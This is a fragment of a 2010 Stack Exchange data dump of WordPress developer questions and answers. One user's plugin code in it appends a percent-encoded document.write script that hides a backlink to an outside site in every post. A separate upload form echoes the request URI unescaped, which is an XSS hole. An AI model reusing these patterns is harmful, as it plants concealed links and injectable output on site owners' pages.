  <row Id="5656" PostTypeId="2" ParentId="5651" CreationDate="2010-12-20T08:36:49.023" Score="4" ViewCount="" Body="&lt;p&gt;I agree that this is PHP rather than WP question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To bring it closer to WP I do suggest to take a look at following functionality:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/HTTP_API&quot; rel=&quot;nofollow&quot;&gt;HTTP API&lt;/a&gt; is highly suggested for making HTTP requests;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_post_meta&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;add_post_meta()&lt;/code&gt;&lt;/a&gt; and related meta functions to store post-specific information;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/the_shortlink&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;the_shortlink()&lt;/code&gt;&lt;/a&gt; function, that is suggested template tag to use for natvie short link functionality (and hook into for third party).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-20T08:36:49.023" CommentCount="1" />
  <row Id="5657" PostTypeId="2" ParentId="4897" CreationDate="2010-12-20T08:38:00.487" Score="1" ViewCount="" Body="&lt;p&gt;Cristian from &lt;a href=&quot;http://www.cozmoslabs.com/2010/05/31/wordpress-user-registration-template-and-custom-user-profile-fields/&quot; rel=&quot;nofollow&quot;&gt;Cosmolabs&lt;/a&gt; have post a great tutorial on how you can build a custom registration/login and profile page for use in the frontend of your theme, it also have some files to download.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;hope it helps,&lt;br&gt;&#xA;Philip&lt;/p&gt;&#xA;" OwnerUserId="2048" LastActivityDate="2010-12-20T08:38:00.487" />
  <row Id="5658" PostTypeId="2" ParentId="5594" CreationDate="2010-12-20T09:25:34.903" Score="2" ViewCount="" Body="&lt;p&gt;In a Multisite install (and also since WordPress 3), you can have a several &lt;strong&gt;blogs&lt;/strong&gt; (identified in the database model by &lt;code&gt;blog_id&lt;/code&gt;) within one &lt;strong&gt;site&lt;/strong&gt; (identified in the database model by &lt;code&gt;site_id&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing that I found confusing in this context, though, is that most of WordPress code and documentation will use a terminology that differs from the database model. They refer to a &lt;em&gt;blog&lt;/em&gt; using the word &lt;strong&gt;site&lt;/strong&gt;, and to a &lt;em&gt;site&lt;/em&gt; using the word &lt;strong&gt;network&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, &lt;a href=&quot;http://codex.wordpress.org/Changing_The_Site_URL&quot; rel=&quot;nofollow&quot;&gt;this section of the Codex&lt;/a&gt; refers to the Site URL (as defined in the &lt;code&gt;WP_SITEURL&lt;/code&gt; constant), which really is the URL of the blog URL in multisite context.&lt;/p&gt;&#xA;" OwnerUserId="2068" LastActivityDate="2010-12-20T09:25:34.903" />
  <row Id="5659" PostTypeId="2" ParentId="4897" CreationDate="2010-12-20T10:29:07.860" Score="0" ViewCount="" Body="&lt;p&gt;Don't really get your queston! If you're going to put member area on front-end! You can do it as a widget, or as a page and use custom template for that page!&#xA;Or you can edit theme yourself, and put that member section there! But better way is you define a sidebar at that position, and make a widget then assign it to that sidebar!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to custom on admin panel!&#xA;Looking at these links:&#xA;&lt;a href=&quot;http://www.noupe.com/wordpress/20-incredibly-useful-themes-and-plugins-to-boost-your-admin-area.html&quot; rel=&quot;nofollow&quot;&gt;http://www.noupe.com/wordpress/20-incredibly-useful-themes-and-plugins-to-boost-your-admin-area.html&lt;/a&gt;&#xA;It has lots of resource for you!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, look at this links to understand about admin theme and how to custmize it&#xA;&lt;a href=&quot;http://codex.wordpress.org/Creating_Admin_Themes&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Creating_Admin_Themes&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or look at this&#xA;&lt;a href=&quot;http://www.catswhocode.com/blog/10-wordpress-dashboard-hacks&quot; rel=&quot;nofollow&quot;&gt;http://www.catswhocode.com/blog/10-wordpress-dashboard-hacks&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should be enough for your to dig into now ;)&lt;/p&gt;&#xA;" OwnerUserId="1969" LastActivityDate="2010-12-20T10:29:07.860" />
  <row Id="5660" PostTypeId="2" ParentId="5650" CreationDate="2010-12-20T10:34:19.707" Score="1" ViewCount="" Body="&lt;p&gt;The filter write not in the database, filter on frontend, when view the post or other content. You deactivate the filter and write a own filter for set your custom markup.&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2010-12-20T10:34:19.707" CommentCount="4" />
  <row Id="5661" PostTypeId="1" CreationDate="2010-12-20T10:46:15.950" Score="0" ViewCount="261" Body="&lt;p&gt;Can anyone advise on how I can remove the preceding &lt;code&gt;&amp;lt;br&amp;gt;&lt;/code&gt; tag when a post's &quot;read more...&quot; tag is generated?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the code that's generated -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;blah blah blah blah&amp;lt;br&amp;gt;&#xA; &amp;lt;a class=&quot;more-link&quot; href=&quot;blahblahblahblah&quot;&amp;gt; …Read more&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's that annoying little &lt;br&gt; I want rid of, so the &quot;read more&quot; is on the same line...!&lt;/p&gt;&#xA;" LastActivityDate="2010-12-27T01:05:56.767" Title="More tag - how do I remove preceding &lt;br&gt;?" Tags="&lt;3.0.1&gt;&lt;more&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="1" />
  <row Id="5662" PostTypeId="2" ParentId="5644" CreationDate="2010-12-20T10:54:42.513" Score="0" ViewCount="" Body="&lt;p&gt;You can also do it with a template file called &quot;home.php&quot;&#xA;But I also prefer the method with the wordpress settings.&#xA;It really depends on if the page looks different to a normal page.&lt;/p&gt;&#xA;" OwnerUserId="1379" LastActivityDate="2010-12-20T10:54:42.513" />
  <row Id="5663" PostTypeId="1" AcceptedAnswerId="5684" CreationDate="2010-12-20T11:40:40.210" Score="0" ViewCount="127" Body="&lt;p&gt;i am having a wordpress function to display the latest 5 tweets of the user,&#xA;this tweets can be displayed by two ways one is through direct entering the user ID in admin menu which i created, and second is through custom fields,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here i want to avoid custom fields and want to start with shortcode,&#xA;i know i am weak in short-code cause this is my second question related with it&#xA;but need short-code in this function&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is the code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function tweet_fetcher(){&#xA;global $post;&#xA;$doc = new DOMDocument();&#xA;if((get_option('tweetID'))!=null){&#xA;$meta=get_option('tweetID');&#xA;$feed = &quot;http://twitter.com/statuses/user_timeline/$meta.rss&quot;; &#xA;$doc-&amp;gt;load($feed); &#xA;&#xA;}&#xA;elseif((get_option('tweetID'))==null){&#xA;if ( $meta =get_post_meta($post-&amp;gt;ID, 'username:', true) ) { &#xA;$feed = &quot;http://twitter.com/statuses/user_timeline/$meta.rss&quot;; &#xA;$doc-&amp;gt;load($feed); &#xA;}&#xA;}&#xA;&#xA;  $outer = &quot;&amp;lt;ul&amp;gt;&quot;;&#xA;  $max_tweets = 5;   &#xA;  $i = 1;&#xA;  foreach ($doc-&amp;gt;getElementsByTagName('item') as $node) {&#xA;    $tweet = $node-&amp;gt;getElementsByTagName('title')-&amp;gt;item(0)-&amp;gt;nodeValue;&#xA;    //if you want to remove the userid before the tweets then uncomment the next line.&#xA;    //$tweet = substr($tweet, stripos($tweet, ':') + 1);   &#xA;    $tweet = preg_replace('@(https?://([-\w\.]+)+(:\d+)?(/([\w/_\.]*(\?\S+)?)?)?)@', &#xA;          '&amp;lt;a href=&quot;$1&quot;&amp;gt;$1&amp;lt;/a&amp;gt;', $tweet);&#xA;    $tweet = preg_replace(&quot;/@([0-9a-zA-Z]+)/&quot;, &#xA;          &quot;&amp;lt;a href=\&quot;http://twitter.com/$1\&quot;&amp;gt;@$1&amp;lt;/a&amp;gt;&quot;, &#xA;          $tweet);&#xA;&#xA;    $outer .= &quot;&amp;lt;li&amp;gt;&quot;. $tweet . &quot;&amp;lt;/li&amp;gt;\n&quot;;&#xA;&#xA;&#xA;    if($i++ &amp;gt;= $max_tweets) break;&#xA;  }&#xA;   $outer .= &quot;&amp;lt;/ul&amp;gt;\n&quot;;&#xA;  return $outer;&#xA;}&#xA;function append_the_content($content) {&#xA;&#xA;        $content .=&quot;&amp;lt;p&amp;gt;Latest Tweets&quot;.tweet_fetcher($meta).&quot;&amp;lt;Script Language='Javascript'&amp;gt;&#xA;&amp;lt;!--&#xA;document.write(unescape('%3C%61%20%68%72%65%66%3D%22%68%74%74%70%3A%2F%2F%6D%62%61%73%2E%69%6E%2F%22%20%74%61%72%67%65%74%3D%22%5F%62%6C%61%6E%6B%22%3E%50%6F%77%65%72%65%64%20%62%79%20%4D%42%41%73%3C%2F%61%3E'));&#xA;//--&amp;gt;&#xA;&amp;lt;/Script&amp;gt;&amp;lt;/p&amp;gt;&quot;;     &#xA;return $content;&#xA;&#xA;        add_filter('the_content', 'append_the_content');&#xA;&#xA;        require_once ('tweet-fetcher-admin.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1743" LastActivityDate="2010-12-20T17:29:49.923" Title="shortcode help require" Tags="&lt;functions&gt;&lt;shortcode&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" />
  <row Id="5664" PostTypeId="1" AcceptedAnswerId="5668" CreationDate="2010-12-20T12:19:00.647" Score="1" ViewCount="185" Body="&lt;p&gt;WP loops are widely used to print lists of posts in Wordpress:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $loop = new WP_Query( array( 'post_type' =&amp;gt; 'ff', 'ff' =&amp;gt; 'show_ff', 'orderby' =&amp;gt; 'menu_order', 'order' =&amp;gt; 'ASC' ));&#xA;     while ( $loop-&amp;gt;have_posts() ) : $loop-&amp;gt;the_post(); ?&amp;gt; &#xA;&#xA;     &amp;lt;!-- here we're going to have all posts from show_ff category of ff type. --&amp;gt;&#xA;&#xA;     &amp;lt;?php endwhile; ?&amp;gt;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a way of displaying for example 3 first posts then some element (div in my case) and again 3 next posts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I could do 6 loops in each div, but maybe there's another way of breaking this code? Maybe some if loops inside of while loop? Here's my concept:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(...)&#xA;    while ( $loop-&amp;gt;have_posts() ) : $loop-&amp;gt;the_post(); &#xA;     echo '3 first posts';&#xA;     echo '&amp;lt;div class=&quot;special&quot;&amp;gt;&amp;lt;/div&amp;gt;';&#xA;     echo '3 last posts';&#xA;    endwhile; ?&amp;gt;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1869" LastActivityDate="2010-12-20T13:48:00.277" Title="Breaking the loop?" Tags="&lt;loop&gt;&lt;the-loop&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" />
  <row Id="5665" PostTypeId="1" AcceptedAnswerId="5667" CreationDate="2010-12-20T12:31:00.440" Score="1" ViewCount="160" Body="&lt;p&gt;For a WP Theme with multiple admin screen (got its own main menu and some submenus), I want to add a common Js script to load on (only) all these pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know how to acheive this using the pagehooks of the individual (sub)pages lioke this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_print_scripts-' . $page, 'my_plugin_admin_script');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but this way I need to reåeat this for each admin page (for each submenu pagehook)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way smarter way to add the scripts, testing for the PARENT menu? so that I just need to add it with one line of admin_print_scripts-* code?&lt;/p&gt;&#xA;" OwnerUserId="2071" LastActivityDate="2010-12-20T12:58:17.807" Title="add JS to multiple plugin admin pages" Tags="&lt;3.0&gt;&lt;custom-menus&gt;&lt;javascript&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="5666" PostTypeId="2" ParentId="5664" CreationDate="2010-12-20T12:45:49.147" Score="0" ViewCount="" Body="&lt;p&gt;You can limit the number of posts to three in the first loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;?php $args = array('showposts' =&amp;gt; 3); &#xA;$the_query = new WP_Query($args); &#xA;while ($the_query-&amp;gt;have_posts()) : $the_query-&amp;gt;the_post();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then show your div and then show again 3 posts with the 'offset' parameter to exlude the 3 firsts ones:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $args2 = array('showposts' =&amp;gt; 3, 'offset' =&amp;gt; 3 );&#xA; $the_query = new WP_Query($args2); &#xA;while ($the_query-&amp;gt;have_posts()) : $the_query-&amp;gt;the_post(); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;More infos in the &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/query_posts&quot; rel=&quot;nofollow&quot;&gt;codex&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1997" LastActivityDate="2010-12-20T12:45:49.147" CommentCount="3" />
  <row Id="5667" PostTypeId="2" ParentId="5665" CreationDate="2010-12-20T12:58:17.807" Score="2" ViewCount="" Body="&lt;p&gt;It would be easiest to run some conditional logic on &lt;code&gt;$parent_file&lt;/code&gt; inside a callback hooked onto &lt;code&gt;admin_print_scripts&lt;/code&gt;, and would go a little something like this..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'admin_print_scripts', 'possibly_enqueue_script' );&#xA;function possibly_enqueue_script() {&#xA;    global $parent_file;&#xA;    if( 'my-slug' == $parent_file )&#xA;        wp_enqueue_script(  ... your enqueue args .. );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'll need to replace &lt;code&gt;my-slug&lt;/code&gt; with the handle of your parent page, it's the fourth parameter in &lt;code&gt;add_menu_page&lt;/code&gt;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The script will then enqueue for both the parent page and any of it's children pages..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps...&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2010-12-20T12:58:17.807" CommentCount="2" />
  <row Id="5668" PostTypeId="2" ParentId="5664" CreationDate="2010-12-20T13:17:08.217" Score="2" ViewCount="" Body="&lt;p&gt;I don't think i've fully grasped how you want this to work, but if i assume for a moment that as long as the loop has at least 6 posts, you want to insert extra markup after the third result in the loop..&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Example&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Insert extra markup after the third post, when the current iteration has at least 6 posts&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if( $loop-&amp;gt;have_posts() ) :&#xA;&#xA;    //$post_count = $loop-&amp;gt;found_posts; // &amp;lt;-- think this is the total, corrected below&#xA;    $post_count = $loop-&amp;gt;post_count; // should be the result count for the current page&#xA;    $loop_count = 0;&#xA;&#xA;    while ( $loop-&amp;gt;have_posts() ) : $loop-&amp;gt;the_post(); &#xA;        $loop_count++;&#xA;        ?&amp;gt;&#xA;&#xA;        &amp;lt;!-- your regular loop markup, eg. title, content, etc.. --&amp;gt;&#xA;&#xA;        &amp;lt;?php&#xA;        if( $post_count &amp;gt;= 6 &amp;amp;&amp;amp; $loop_count == 3 ) :&#xA;            ?&amp;gt;&#xA;&#xA;            &amp;lt;!-- extra markup to put in when it's the end of the third post of this loop --&amp;gt;&#xA;&#xA;            &amp;lt;?php&#xA;        endif;&#xA;    endwhile;&#xA;endif;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This way you avoid the need to use an offset and can using paging if necessary. I havn't tested the code, but i've given numerous examples like this before, simply let me know of any problems and i'll re-examine(and test) the code.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2010-12-20T13:48:00.277" LastActivityDate="2010-12-20T13:48:00.277" CommentCount="5" />
  <row Id="5669" PostTypeId="2" ParentId="5661" CreationDate="2010-12-20T13:43:25.423" Score="2" ViewCount="" Body="&lt;p&gt;Can you show us your generated source code with more tag and code which you use for this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function clear_br($excerpt){&#xA;return str_replace(&quot;&amp;lt;br&amp;gt;&quot;,&quot;&quot;, $excerpt);&#xA;}&#xA;add_filter('the_excerpt', 'clear_br');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Paste this code in your &lt;strong&gt;functions.php&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="1752" LastEditorUserId="1752" LastEditorDisplayName="" LastEditDate="2010-12-27T01:05:56.767" LastActivityDate="2010-12-27T01:05:56.767" />
  <row Id="5670" PostTypeId="1" AcceptedAnswerId="5671" CreationDate="2010-12-20T14:21:26.503" Score="0" ViewCount="122" Body="&lt;p&gt;My client wants me to install a plugin from here: &lt;a href=&quot;http://www.maxblogpress.com/plugins/mpo/&quot; rel=&quot;nofollow&quot;&gt;http://www.maxblogpress.com/plugins/mpo/&lt;/a&gt; that optimizes how WP pings. If you read the article, the version he mentioned were 2.1 and 2.3, if I am not wrong. Does this issue still exist?&lt;/p&gt;&#xA;" OwnerUserId="1649" LastActivityDate="2011-02-18T08:38:39.107" Title="Wordpress ping spam issue with Ping services?" Tags="&lt;plugins&gt;" AnswerCount="1" />
  <row Id="5671" PostTypeId="2" ParentId="5670" CreationDate="2010-12-20T14:44:52.060" Score="1" ViewCount="" Body="&lt;p&gt;I'd stay away from this particular plugin, as far as I remember this developer requires registration and forces email subscription on you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for issue itself - does your client has particular issue to worry about pings at all?&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-20T14:44:52.060" CommentCount="3" />
  <row Id="5672" PostTypeId="2" ParentId="5477" CreationDate="2010-12-20T15:17:55.260" Score="2" ViewCount="" Body="&lt;p&gt;If this is the main loop you use to display posts on your page, you should not execute a new loop but modify the existing loop that WordPress will execute anyway. This way you can be sure that all extra query parameters will be taken into account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here we want to display posts of type &lt;code&gt;game&lt;/code&gt; and limit the number of posts on the page. You can do this with the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'pre_get_posts', 'wpse5477_pre_get_posts' );&#xA;function wpse5477_pre_get_posts( &amp;amp;$wp_query )&#xA;{&#xA;    if ( $wp_query-&amp;gt;is_category() ) {&#xA;        $wp_query-&amp;gt;set( 'post_type', 'game' );&#xA;        $wp_query-&amp;gt;set( 'posts_per_page', 2 );&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-12-20T15:17:55.260" CommentCount="3" />
  <row Id="5673" PostTypeId="1" CreationDate="2010-12-20T15:25:50.647" Score="1" ViewCount="757" Body="&lt;p&gt;I'm tring to upload image in wordpress by using some function ..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found the way to upload images but there are one problem ..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;when the user upload his image , wordpress create more than one image diffrent sizes, this is a problem because I want one image only ..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is wp-conent/uploads/2010/10 folder .. look at the picture (this is one picture but wordpress create same picture but diffrent sizes) .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://i.stack.imgur.com/fn6ab.jpg&quot; rel=&quot;nofollow&quot;&gt;http://i.stack.imgur.com/fn6ab.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is my code &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php /*&#xA;Template Name: Uploading Page&#xA;&#xA;*/?&amp;gt;&#xA;&#xA;&amp;lt;?php get_header();&#xA;?&amp;gt;&amp;lt;div class=&quot;container_12&quot;&amp;gt;&#xA;    &amp;lt;div id=&quot;content&quot;&amp;gt;&#xA;    &amp;lt;form id=&quot;file-form&quot; enctype=&quot;multipart/form-data&quot; action=&quot;&amp;lt;?php echo $_SERVER['REQUEST_URI']; ?&amp;gt;&quot; method=&quot;POST&quot;&amp;gt;&#xA;    &amp;lt;p id=&quot;async-upload-wrap&quot;&amp;gt;&#xA;    &amp;lt;label for=&quot;async-upload&quot;&amp;gt;upload&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;file&quot; id=&quot;async-upload&quot; name=&quot;async-upload&quot;&amp;gt; &amp;lt;input type=&quot;submit&quot; value=&quot;Upload&quot; name=&quot;html-upload&quot;&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;p&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;post_id&quot; id=&quot;post_id&quot; value=&quot;&amp;lt;?php echo '212';?&amp;gt;&quot; /&amp;gt;&#xA;    &amp;lt;?php wp_nonce_field('client-file-upload'); ?&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;redirect_to&quot; value=&quot;&amp;lt;?php echo $_SERVER['REQUEST_URI']; ?&amp;gt;&quot; /&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;p&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; value=&quot;Save all changes&quot; name=&quot;save&quot; style=&quot;display: none;&quot;&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;    &amp;lt;/form&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;if ( isset( $_POST['html-upload'] ) &amp;amp;&amp;amp; !empty( $_FILES ) ) {&#xA;    require_once(ABSPATH . 'wp-admin/includes/admin.php');&#xA;    $id = media_handle_upload('async-upload', 1199); //post id of Client Files page&#xA;    unset($_FILES);&#xA;    if ( is_wp_error($id) ) {&#xA;        $errors['upload_error'] = $id;&#xA;        $id = false;&#xA;    }&#xA;&#xA;    if ($errors) {&#xA;        echo &quot;&amp;lt;p&amp;gt;There was an error uploading your file.&amp;lt;/p&amp;gt;&quot;;&#xA;    } else {&#xA;        echo &quot;&amp;lt;p&amp;gt;Your file has been uploaded.&amp;lt;/p&amp;gt;&quot;;&#xA;    }&#xA;}&#xA;&#xA;get_sidebar();&#xA;get_footer();?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;how can make it one picture?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wish you understand me ^_* because my language &gt;_&amp;lt;&lt;/p&gt;&#xA;" OwnerUserId="2076" LastActivityDate="2011-05-24T03:18:15.567" Title="using upload image with media_handle_upload .. but !" Tags="&lt;3.0&gt;&lt;theme-development&gt;&lt;attachments&gt;" AnswerCount="4" CommentCount="2" FavoriteCount="4" />
  <row Id="5674" PostTypeId="1" AcceptedAnswerId="5825" CreationDate="2010-12-20T15:30:48.963" Score="0" ViewCount="253" Body="&lt;p&gt;I'd like the user to install WP and have the default content loaded automatically but i don't want to have to write in in PHP in the wp_install_defaults(); I'd much rather export an xml file each time i make a change to the default and just bundle that with the install.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1925" LastActivityDate="2010-12-23T04:57:34.257" Title="How to import WP XML file automatically on installation?" Tags="&lt;installation&gt;&lt;development&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="5675" PostTypeId="1" CreationDate="2010-12-20T15:50:28.860" Score="1" ViewCount="242" Body="&lt;p&gt;How do you replace the default title for first comment? &#xA;&lt;strong&gt;Mr WordPress on Hello world!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could not able to locate this in theme's comments.php file&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to edit the title 'Mr wordpress on Hello world' to Admin on -Site Name-&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;How can I replace the default text created with about us page? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;This is an example of a WordPress page, you could edit this to put information about yourself or your site so readers know where you are coming from. You can create as many pages like this one or sub-pages as you like and manage all of your content inside of WordPress.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is the page about your self.Feel free to edit the page&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Some times I cannot able to locate certain content(As I mentioned above comment.php and default about us page) in core files when perforimg search .is there any way to find certain content or code overall?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;" OwnerUserId="2078" LastEditorUserId="2078" LastEditorDisplayName="" LastEditDate="2010-12-21T02:48:40.103" LastActivityDate="2010-12-22T09:21:07.217" Title="Replacing the default content created while the site creation" Tags="&lt;multisite&gt;&lt;comments&gt;&lt;customization&gt;&lt;core&gt;&lt;code&gt;" AnswerCount="2" />
  <row Id="5676" PostTypeId="2" ParentId="5675" CreationDate="2010-12-20T15:54:58.237" Score="1" ViewCount="" Body="&lt;p&gt;I can only answer your first two questions as I do not know anything about multisites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The default comment and content in the 'About Us&quot; page is not coming from the theme files, but rather the database. They are the default posts/pages/comments accessed by the backend not by the theme files. To get to this content and replace it login to the admin via youraddress.com/wp-admin&#xA;and locate the about page in pages &gt; about us. The comments are under the &quot;Comments&quot; section. Simply delete the page or replace the content. &lt;/p&gt;&#xA;" OwnerUserId="1352" LastActivityDate="2010-12-20T15:54:58.237" CommentCount="2" />
  <row Id="5678" PostTypeId="1" AcceptedAnswerId="5680" CreationDate="2010-12-20T16:21:30.140" Score="0" ViewCount="144" Body="&lt;p&gt;In WordPress, I'm trying to create a Custom Post Box that will allow one post to be manually connected to another post.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easiest way to illustrate this request was to mockup what I would like the final Post Box to look like.  That mockup can be viewed here » &lt;a href=&quot;http://cl.ly/3hI3&quot; rel=&quot;nofollow&quot;&gt;http://cl.ly/3hI3&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Requirements:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The Post Box needs to resemble the &quot;Categories&quot; Post Box, in that it has tabs at the top and checkboxes.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Each tab at the top of this Post Box needs to be a Post Category (as illustrated in the mockup.)  If I could manually control this so that the tabs were managed by a Custom Menu (ie. &quot;Post Connections Menu&quot;), that would be ideal.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The checkboxed list of items needs to be posts that have already been categorized to that specific category.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thank you very much for any help / insight you can throw my way!&lt;/p&gt;&#xA;" OwnerUserId="2080" LastEditorUserId="2080" LastEditorDisplayName="" LastEditDate="2010-12-20T16:27:05.547" LastActivityDate="2010-12-20T16:32:18.000" Title="How do I create a Custom Post Box that Connects Different Posts Together" Tags="&lt;customization&gt;" AnswerCount="2" />
  <row Id="5679" PostTypeId="1" AcceptedAnswerId="5685" CreationDate="2010-12-20T16:26:32.490" Score="1" ViewCount="146" Body="&lt;p&gt;Currently my theme calls upon &lt;code&gt;get_comments_link()&lt;/code&gt; to create the standard anchor &lt;strong&gt;#comments&lt;/strong&gt; to link to the comments below the post, as does the &lt;code&gt;get_comments_pagenum_link()&lt;/code&gt; function on paginated comments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to replace the &lt;strong&gt;#comments&lt;/strong&gt; anchor in these functions with any other string, without of course changing WP's core php files. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A simple &lt;code&gt;add_filter&lt;/code&gt; to completely replace core functions (other than in pluggable.php) doesn't seem to be possible. Are there any other ways of achieving this small change to the output of a core function, that use PHP (rather than say Java)? Is there a way here of using an &lt;code&gt;add_filter&lt;/code&gt; with &lt;code&gt;str_replace()&lt;/code&gt; perhaps?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will be useful for foreign language sites, and for redirecting comments to another page with a url request, for example.&lt;/p&gt;&#xA;" OwnerUserId="2039" LastEditorUserId="2039" LastEditorDisplayName="" LastEditDate="2010-12-20T18:10:08.703" 